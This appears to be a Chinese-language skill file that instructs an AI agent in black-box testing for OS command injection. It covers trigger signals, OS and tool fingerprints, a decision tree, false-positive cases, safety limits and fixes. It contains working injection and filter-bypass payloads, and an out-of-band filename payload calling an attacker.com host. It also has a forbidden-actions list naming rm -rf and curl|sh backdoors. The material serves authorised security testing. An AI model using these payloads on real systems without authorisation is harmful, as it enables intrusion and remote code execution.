name: command-injection
description: >-
OS 命令注入综合检测——覆盖直接命令拼接 / shell 元字符 / 参数注入 / 间接 RCE,按回显 / 时间 / 带外通道分诊。
流量中参数值含主机名 / URL / 文件名 / 命令片段、响应里出现 shell 错误关键字(/bin/sh / cmd.exe / command not found)、注入 sleep N 耗时增加、上传后异步处理链路时使用。
when-to-use: 当目标存在系统命令执行功能(ping、文件操作、格式转换、网络诊断)等可能将输入拼接进 OS 命令的入口时
allowed-tools: bash,read_file,list_files,rg
user-invocable: false
OS 命令注入:综合检测(黑盒)
1. 触发线索 / 适用信号
以下是已知的命令注入触发线索,作为基线起点而非必检硬清单。结合流量与响应特征动态调整:
- 适用且已完成 →
[x] done - 明确不适用 →
[-] n/a (原因)(原因要具体到响应特征) - 基线未列出但实际发现 →
[+] added (来源)
响应特征命中信号(漏洞-specific):
- 命令分隔符触发响应突变(200 → 500 / 内容差异 / 多余输出)
- 响应里出现 shell / 命令错误关键字(
/bin/sh/cmd.exe/command not found/is not recognized/sh: 1:) - 响应里出现命令输出格式文本(
PING ... bytes from/uid=/Linux ... GNU/Linux) - 注入
sleep N/timeout N耗时增加 N 秒 - 带外通道(DNS / HTTP)收到回连
入口类型粗筛(仅作类似场景示例 不限于此):
- 网络诊断 / 运维接口(ping / traceroute / nslookup / 端口检测)
- 文件 / 媒体处理(缩略图 / 转码 / PDF 生成 / OCR / 截图)
- 下载 / 抓取 / 校验(远程拉取 / hash 校验 / 解压)
- 系统管理 / 监控(进程查看 / 日志查询 / 服务管理)
- 上传后异步处理(文件名 / 元数据流入外部工具)
业务命名(如 host / filename)只作粗筛——sink 语义相同就属此范围。JSON body 任一字段都是 CMDi 候选,不限于"看起来像命令"的字段名;上传文件名 / Exif / Header / Cookie 等被外部工具消费的载体同样是 source;具体参数位置由 HAR 实际请求推导,不在此预设清单。
2. 造成原因
source 是任何用户可控输入(query / body / header / cookie / 路径参数 / 上传文件名 / 已入库再回读的字段)。sink 是 shell 解释器或外部进程:os.system / exec / popen / Runtime.exec(String) / subprocess.call(shell=True) / Go exec.Command("sh","-c",...) / 模板拼成命令字符串后交给 shell 的位置;也包括把用户输入作为参数(而非命令体)传给外部工具时的"参数注入"位置(如 curl --upload-file=)。
任何 source 未经参数列表分离 / 严格白名单就被拼接到命令字符串,即构成命令注入——攻击者控制的字符串通过 shell 元字符(; / && / || / | / ` / $() / \n / $IFS)改变了命令语法树,或通过参数前缀(-- / -)改变了外部工具的行为语义。参数列表 API(Python subprocess.run([...], shell=False) / Go exec.Command("bin", arg1, arg2))把命令体和参数在 OS 层隔离开,是默认防御。
shell 转义不是免疫层:转义引号只挡引号闭合,挡不住命令分隔符 / 命令替换;外部工具的参数注入也无法靠转义解决(必须用 -- 终结选项 + 路径白名单)。
3. 响应信号映射
列出命令注入黑盒可观测的响应通道集合(observation-channel)——攻击效果可被黑盒探测的侧信道。输入位置(query / body / header / cookie / path / 上传文件名 / 元数据等本漏洞典型 source)从 HAR 实际请求推导,本节不预设清单。
响应观察通道集合(observation-channel):
cmd-echo:命令输出回显到响应(uid=.../Linux .../Windows IP Configuration等)error-echo:shell / 工具错误信息回显(/bin/sh: .../command not found/cmd.exe/is not recognized)time-sidechannel:耗时可控(sleep N/timeout N/ping -n N)oob-dns/oob-http:带外通道触发(nslookup/curl唯一 token 回连)—— 无回显场景首选file-readback:注入命令把输出写入可控路径后通过另一端点回读secondary-readback:二阶注入在另一端点回读时触发
4. 常见类型
| 类型 | 触发条件 | 响应特征 | 适用平台 |
|---|---|---|---|
| 直接命令拼接 | source 整体被拼进 shell 字符串 | 任意分隔符都能扩展命令 | 全部 |
| shell 元字符注入 | 单字段 source 被拼进命令体,分隔符未过滤 | ; && || | ` $() \n 触发额外命令 |
全部 |
| 参数注入(argument injection) | source 作为参数传给外部工具,未用 -- 终结选项 |
curl --upload-file= / wget --use-askpass= / git --upload-pack= 类滥用 |
全部 |
| sudo / wrapper 参数注入 | source 拼进 sudo / 包装脚本的参数列表 | -u root / -e VAR=value 改变执行身份 |
Linux |
| 空格 / 编码绕过 | 元字符黑名单过滤了 ; 等显式分隔 |
${IFS} / brace expansion {cmd,arg} / URL 编码 %0a / 双重编码 |
Linux 主 |
| 间接 RCE(工具特性) | 外部工具自身支持执行命令 / 加载脚本 | ImageMagick MVG/MSL / ffmpeg concat: / gs PostScript / git core.fsmonitor |
全部 |
| 二阶命令注入 | source 先入库后被读出拼进命令 | 入库不触发;后续运维 / 报表端点触发 | 全部 |
| OOB(带外) | 无回显且无延时通道 | nslookup <token>.attacker / curl http://... 唯一 token |
全部 |
5. 侦察输入
按以下方式从侦察输出中筛 CMDi 候选:
从 HAR / 端点账本:
- 参数名含
host/ip/target/url/file/filename/path/cmd/command/domain/addr/name - 端点路径含
/diag//ping//traceroute//convert//export//render//thumbnail//preview//download//fetch - 响应里曾出现过 shell / 工具错误关键字(
/bin/sh/cmd.exe/command not found/ 工具版本号) - 上传端点 + 后续异步处理端点(文件名 / 元数据被外部工具消费)
- POST / PUT 端点的 body 全字段(JSON / form 各字段都是候选)
从业务场景(由 page-analysis 输出):
下列业务场景仅作类似场景示例 不限于此;以
page-analysis实际输出为准。
- 运维 / 监控平台:网络诊断、进程查看、日志检索、配置导出
- 内容 / 媒体平台:图片缩略图、视频转码、PDF 预览、文档转换(ImageMagick / ffmpeg / libreoffice)
- 网页快照 / 截图服务:URL 渲染(wkhtmltopdf / puppeteer / chromium CLI)
- 备份 / 归档 / 导入导出:zip / tar / openssl / sha256sum
- DevOps / CI:仓库克隆(git)、远程拉取(curl / wget)、构建脚本触发
从身份切换 HAR 对比:
- 普通用户 / 管理员两份 HAR 里仅在管理员端出现的运维 / 系统类端点是高价值候选
- 跨子系统的同名端点(多个端口 / 子域 / 业务条线)每个独立测,不假设"在 A 测过 B 也安全"
业务命名(如 host / filename)只作粗筛——sink 语义相同就是候选;所有可控 source 载体(含文件名 / Exif / Header)都是 CMDi 候选,不限于"看起来像命令"的字段。
6. OS / 框架响应指纹
通过响应(错误关键字 / header / 命令输出特征)推断后端 OS / shell 类型 / 调用工具,优化 payload 选择。
OS 响应指纹
| 响应特征 | 推断 OS | payload 选择 |
|---|---|---|
/bin/sh: ...: not found / sh: 1: ... not found |
Linux + dash/bash | 用 ; / && / | / $() / ` / sleep N / ${IFS} |
bash: ... command not found |
Linux + bash | 同上 + brace expansion {a,b} / <() 进程替换 |
'xxx' is not recognized as an internal or external command |
Windows + cmd.exe | 用 & / && / | / %CD% / timeout /t N |
xxx : 无法将"xxx"项识别为 cmdlet / PowerShell traceback |
Windows + PowerShell | 用 ; / | / Start-Sleep / iex |
响应里出现 uid= / gid= / groups= |
Linux id 输出 |
已 confirmed 回显通道;扩展取 cat /etc/hostname 等 |
响应里出现 Windows IP Configuration / Microsoft Windows [Version |
Windows 命令输出 | 已 confirmed 回显通道;扩展取 whoami / hostname |
调用工具指纹
| 响应特征 | 推断工具 | 优化方向 |
|---|---|---|
响应或错误含 ImageMagick / convert: / MagickWand |
ImageMagick | 尝试 MVG / MSL / ephemeral: / https:// 加载远程 |
错误含 ffmpeg version / [concat @ ...] |
ffmpeg | 尝试 concat: 协议、-f lavfi 输入 |
错误含 wkhtmltopdf / QtWebKit |
wkhtmltopdf | 输入 URL 可能直接被 fetch(SSRF + JS exec) |
错误含 gs: / GhostScript / Postscript |
GhostScript | 经典 CVE-2018-16509 / %pipe% |
错误含 pandoc |
pandoc | 模板 / --lua-filter 可加载脚本 |
错误含 git: '...' is not a git command |
git | 参数注入 --upload-pack / core.fsmonitor |
curl: 错误 / curl/7.x UA |
curl | 参数注入 -K / --config / -o 文件覆盖 |
框架响应指纹
| 响应特征 | 推断框架 | 优化方向 |
|---|---|---|
X-Powered-By: Express / Set-Cookie: connect.sid |
Express (Node.js) | 检查 child_process.exec / execSync |
Set-Cookie: PHPSESSID / X-Powered-By: PHP/... |
PHP | 检查 system() / shell_exec() / ` 反引号操作符 |
Server: nginx + JSESSIONID cookie |
Java / Spring | 检查 Runtime.exec(String) / ProcessBuilder 单字符串 |
Server: gunicorn / Python traceback |
Django / Flask | 检查 subprocess 的 shell=True / os.system |
含 Go-http-client 或 panic 栈 |
Go | 检查 exec.Command("sh","-c",...) 拼接 |
响应指纹仅作辅助判断——真实的 sink 验证仍需在 §9 闭环要求章节定义的可观测效果证据。
7. 思考检查点
加载本 skill 时按这些问题思考:
- 这个端点的服务端处理是否最终落到一个 shell 解释器或外部进程?(哪怕中间经过若干层封装,如导出 PDF 背后是 wkhtmltopdf)
- 输入是作为参数列表传给
exec.Command还是被拼接进命令字符串再交给sh -c?后者才是直接拼接形态 - 即使是参数列表传入,参数前缀
-/--是否可控?是否存在参数注入(--upload-file=/--use-askpass=)的可能? - 响应里有 shell / 工具错误关键字吗?没有的话,能否用
sleep N时间侧信道 / DNS-OOB 作为侧信道?无回显场景 OOB 永远是首选 - 是不是上传链路?文件名 / Exif 元数据是否会被外部工具(缩略图 / 转码)消费?
- 是不是二阶?这个参数会被入库吗?后续哪些运维 / 报表端点会拼接它进命令?
- 跨子系统是否有同业务的端点?(普通用户端测过的诊断接口,admin 端可能权限更高且复用同一 handler)
8. 检测方法论 / 决策树
全局约束(默认保守预算)
- 单参数最多 15 次请求(含基线 / 重试);同一轮只改 1 个参数
- 时间盲注延时选择能区分网络抖动的最小值(通常 3-5s),抖动大时增加重试次数
- 并发建议 1;抖动大时加重试而非加并发
- 探测命令仅用
id/whoami/hostname/cat /etc/hostname/sleep N/nslookup <token>—— 不用rm/ 关机 /kill类破坏命令 - 一旦"确认"立即停止进一步探测
Step 0:基线采集
- 发送原始请求 2-3 次,记录"基线响应特征" + "基线耗时分布"
- 标记并忽略动态字段(时间戳 / 随机 ID / sessionToken)
- 确认目标功能是否可能调用系统命令(参数名 / 业务描述 / 响应里有无命令输出特征)
Step 1:分隔符 / 元字符探测
参数末尾追加分隔符,观察响应突变 / 报错。不要全打,按 sink 语义分两轮:
- Linux 候选:
;id/|id/&&id/`id`/$(id)/%0aid - Windows 候选:
&id/&&id/|id/|whoami - 空格 / 编码绕过候选(若直接分隔符被过滤):
${IFS}替代空格 /{cmd,arg}brace expansion / URL 双重编码 / 大小写混用
输出:候选闭合上下文集合(quote / paren / 直接拼接)。
Step 2:响应指纹判断
按 §6 响应指纹表识别 OS / shell / 外部工具。结论标注置信度(high / medium / low)。
Step 3:策略决策树
响应里出现命令输出文本(uid= / Windows IP Config / 工具版本号)? → 命令回显路径(信息量最高)
响应里出现 shell 错误(/bin/sh / cmd.exe / not recognized)? → 错误回显路径(先指认 OS,再扩展回显)
响应不可区分但耗时随 sleep N 线性变化? → 时间盲注路径
完全无回显无延时? → 带外路径(DNS-OOB 首选)
能控制外部工具的"参数前缀"? → 参数注入路径(不依赖元字符)
是上传链路? → 文件名 / 元数据二阶注入路径
Step 4:确认 + 防误报
- 强证据(满足其一即 confirmed):稳定命令回显且执行两条不同无害命令输出均可控且一致;稳定带外通道收到含唯一 token 的回连;可控文件写入被另一端点回读
- 弱证据(需两类同时满足才升 confirmed):时间盲注
sleep Nvssleep 0重复 3 次稳定且差异远大于抖动 + 指纹 / 闭合推断一致 - 拒绝条件:单次延时 / 单次报错 / 响应仅 500 不带命令特征 / 仅"参数有特殊字符未拒绝"——一律 suspected
Payload 范式与编码绕过
- 元字符黑名单 →
${IFS}替代空格、brace expansion{cmd,$IFS,arg}、<<<here-string、$'\x20'ANSI-C 转义 - 引号过滤 → 不依赖引号的 payload(
$(...)嵌套、反引号嵌套`id`) - 关键字过滤(
id/sleep) → 路径绕过/u?[s]r/bin/id/ 变量拼接$@/ 通配符/usr/bin/i?/ base64 解码执行$(echo aWQ=|base64 -d) - 长度限制 → 短命令
;sh<a配合预放置脚本、$0复用当前 shell - 参数注入 → 用
--之前的选项(curl -K /dev/stdin/git --upload-pack=/tmp/x/find -exec) - 间接 RCE → ImageMagick
mvg:/https:加载远程多边形脚本、ffmpegconcat:协议读取本地文件、gs PostScript%pipe%后门
基线检查项(按 §4.3 三态标注)
- 单参数所有候选位置(query / body / header / cookie / path / 上传文件名 / 元数据)都过了 Step 0-1
- 同端点其他参数同步分诊
- 直接元字符与参数注入两条路径分别评估
- 二阶通道:从入库端点追到回读端点
9. 闭环要求(必须遵守)
闭环判定(confirmed / suspected / not_vulnerable)以
common/closure-verification.md为准。下面只列本漏洞特有的可观测信号。
confirmed(必须挂可观测效果证据):
- 命令回显:两条不同无害命令(如
id+cat /etc/hostname)的输出均出现在响应中且与预期对应,重复 3 次稳定 - 时间盲注:注入
sleep 3耗时 > 基线 + 2.5s,重复 3 次稳定;同时sleep 0耗时回到基线 - 带外回连:DNS / HTTP OOB 通道收到含唯一 token 的请求(token 与本次 payload 一对一可绑定),含时间戳;OOB 是无回显场景最适用通道
- 文件写入回读:注入命令把输出重定向到可控可读路径,通过另一端点回读到预期内容
- 参数注入:通过参数前缀(如
curl -o /tmp/sastx_sentinel_xxx)使外部工具产生可观测副作用(哨兵文件 / OOB 回连),并能定位副作用与本次注入的因果关系
suspected(落 status=needs_review):
- 单次延时 / 单次报错(未稳定复现)
- 元字符触发响应突变但无命令输出 / OOB 回连
- 响应里出现 shell 错误关键字但无法构造稳定的回显或带外
- 参数前缀(
-/--)被服务端原样接受但未观察到外部工具行为变化
not_vulnerable(落 status=not_vulnerable):
- 同模板下所有参数均经参数列表分离传递(来自 graybox 流程的白盒证据),且未调用 shell 解释器
- 该端点不接触外部进程(静态资源 / 纯数据库查询)
禁止仅凭"参数有特殊字符未被拒绝""响应 500""绕过了某黑名单"判 confirmed——这些只到 suspected。
反例义务(必须遵守)
why:反例义务属于交付契约——"该子系统命令注入已防护"结论是覆盖完整性的产物声明,缺失反向验证清单会让下游误信"该维度全站安全",特别是 CMDi 场景里"业务命名看起来无关"的端点(如导出 PDF / 缩略图)是漏报高发区。
写"未发现命令注入"或"已防护"前,产物必须包含:
- 测过的 CMDi 候选端点完整清单(按 sink 语义枚举:所有可能调用 shell / 外部进程的端点,含上传后异步处理链路、文件名 / 元数据消费场景;多子系统场景按子系统独立分组)
- 每端点测过的 payload 类型(元字符
;|&&`$()/ 换行 /${IFS}/ 编码变体 / 参数注入 / OOB) - 每端点的响应证据(基线响应 / payload 响应 / 时间差 / OOB 日志 / 差异点)
清单不完整 → 结论降级为 partial-coverage 并显式声明未覆盖范围。
10. 具象化反例库
FP(看似命中实际不构成)
反例 1:500 响应不带 shell / 命令特征
- 抽象规则:500 ≠ CMDi
- 具体场景:响应 status 500,body 是通用错误页或 JSON
{"error":"internal"},无 shell / 命令 / 工具关键字 - 关键识别特征:响应里无
/bin/sh/cmd.exe/command not found/ 命令输出格式文本 - 排除方法:移除元字符只保留其他扰动(如改大小写)看是否仍 500(可能是异常处理缺失而非 CMDi)
反例 2:响应里的 "shell-like" 字符串其实是业务文案
- 抽象规则:响应含
/bin/sh字样 ≠ 命中 - 具体场景:响应是配置文档 / 帮助页面,列举了支持的 shell 类型
- 关键识别特征:相同响应文本在未注入的基线请求里也出现
- 排除方法:与基线响应做 diff,文案变化才有意义
反例 3:网络抖动产生的单次延时
- 抽象规则:单次耗时增加 ≠ 时间盲注命中
- 具体场景:注入
;sleep 5一次响应 6s,再请求一次回到 0.3s - 关键识别特征:不可复现;
sleep 0也偶发慢 - 排除方法:3 次
sleep 5+ 3 次sleep 0对比,统计差异显著才升 confirmed
FN(看似不命中实际是真洞)
反例 4:参数注入不触发任何元字符特征
- 抽象规则:拼成参数(不是命令体)也可能注入 —— 参数前缀
-/--改外部工具行为 - 具体场景:
?filename=-o/tmp/sastx_sentinel_xxx被拼到curl <url> -O <filename>,等同于覆盖输出路径 - 关键识别特征:
;&&等元字符全过滤;但参数本身允许以-开头 - 确认方法:构造
--upload-file=/-K/-o类参数 + 哨兵文件路径,看哨兵是否被写入
反例 5:上传文件名 / Exif 元数据被忽略的 CMDi 候选
- 抽象规则:上传链路的 source 不只是文件内容,文件名 / 元数据也是
- 具体场景:上传
; nslookup <token>.attacker.com.png,后端缩略图调convert "$file" out.png - 关键识别特征:HAR 里 multipart 的
filename=字段未被规范化重命名;后续异步处理端点存在 - 确认方法:用带元字符 / OOB token 的文件名上传,监控 OOB 通道
反例 6:间接 RCE 通过工具自身特性(不需要 shell 元字符)
- 抽象规则:外部工具自身可能解释脚本 / 加载远程资源
- 具体场景:参数被传给 ImageMagick / GhostScript,使用
mvg:/https:/// PostScript 注入 - 关键识别特征:响应错误含
ImageMagick/gs:/Postscript关键字;元字符过滤但工具版本未升级 - 确认方法:构造工具特定 payload(如 ImageMagick MVG 多边形 + remote fetch URL),通过 OOB 验证
反例 7:二阶 CMDi(入库时不触发,回读时触发)
- 抽象规则:source 入库时未拼进命令不代表回读时安全
- 具体场景:注册用户名含
;id,入库正常;后台运维端点导出用户列表时拼用户名进 shell 命令 - 关键识别特征:同一字段在 2 个上下文出现 + 至少 1 个走 shell
- 确认方法:追入库字段被哪些回读端点消费;每个回读点都看是否进入 shell sink
易混淆案例
反例 8:跨子系统隐式推广(漏报高发模式)
- 抽象规则:在子系统 A 测过 ≠ 子系统 B 也安全
- 具体场景:测了 ops-portal 的 ping 接口未发现 CMDi,monitor-portal 的同名 ping 接口未测就推断安全
- 关键识别特征:不同子系统、不同团队、不同时期;运维类端点跨子系统复用现象普遍但实现可能各异
- 确认方法:ops / monitor / admin / 第三方接入端每个子系统独立做反例义务自检
11. 测试安全边界
破坏性 / 不可逆动作的闭环边界以
common/closure-verification.md《破坏性 / 不可逆动作的闭环边界》节为准。下面只列 CMDi 特有的破坏点。
禁止对真实业务环境执行以下动作来"挂可观测效果":
rm -rf/rm //mv ... /dev/null等删除 / 覆盖动作shutdown/reboot/init 0/halt/poweroff等关机动作kill -9/pkill/killall/systemctl stop业务进程- 通过
curl ... | sh/wget -O- ... | bash下载并执行远程脚本作为后门 iptables/ufw/ 防火墙规则修改- 把数据库 / 配置文件 / 业务文件下载到攻击者控制位置
- 任何会持久化 cron / systemd unit / 自启项的写入
允许的非破坏验证手段:
- 无害命令哨兵:
id/whoami/hostname/cat /etc/hostname/uname -a/pwd等只读命令 - 时间盲注:
sleep N/timeout N/ Windowsping -n N 127.0.0.1 - 带外通道:DNS / HTTP OOB 配合唯一 token(如
<random>.oob.example.com)—— 不修改目标状态 - 哨兵文件:写入受控临时路径(
/tmp/sastx_sentinel_<random>)然后回读 / 自清,不覆盖业务文件 - 参数注入无害形态:参数指向
/dev/null输出或哨兵路径,不写业务路径
发现命中后立即停止进一步利用(不读 /etc/shadow、不枚举内网、不横向);按报告口径登记证据即可。
12. 修复建议
源头治理(首选)
- 全部走参数列表调用,禁用 shell 解释:
- Python:
subprocess.run([bin, arg1, arg2], shell=False),禁用shell=True/os.system/os.popen - Go:
exec.Command("bin", arg1, arg2),禁用exec.Command("sh","-c", ...)配合字符串拼接 - Java:
ProcessBuilder(List<String>)或Runtime.exec(String[]),禁用Runtime.exec(String)单字符串变体 - Node.js:
child_process.execFile(bin, [arg1, arg2])或spawn,禁用exec字符串 - PHP:
pcntl_exec($bin, $args)/proc_open的 array 形态,禁用system()/shell_exec()/ 反引号操作符
- Python:
参数注入防御
- 拼参数前用
--终结选项(curl -- "$url"/git -- "$path") - 关键参数加路径 / 协议白名单(curl 限制协议为 https、wkhtmltopdf 限制 URL 域名)
- 文件名做规范化重命名(UUID 替代原名),不让用户控制字符串流入外部工具
上传链路
- 服务端生成新文件名(UUID + 安全扩展名),原文件名仅用于 UI 显示
- Exif / 元数据在落地外部工具前剥离或验证
二阶注入
- 入库即规范化:注册 / 写入时对会被回读到命令上下文的字段做白名单或编码
- 回读必参数列表:任何 source 字段被回读到命令上下文时,按参数列表 API 调用,不复用入库时的"已校验"假设
边界过滤(次选,深度防御)
- WAF / 应用层拒绝 shell 元字符(
;&&|||`$()\n)——仅作辅助,不替代参数列表 - 输入白名单(IP 只允许数字和点、域名按 RFC1035 校验、文件名只允许
[a-zA-Z0-9._-])—— 比黑名单更可靠
兜底拒绝
- 最小权限运行外部进程(独立低权账号 / chroot / seccomp / 容器隔离)
- 限制可执行命令集合(SELinux / AppArmor profile)
- 错误响应不暴露 shell / 工具错误堆栈(统一错误码)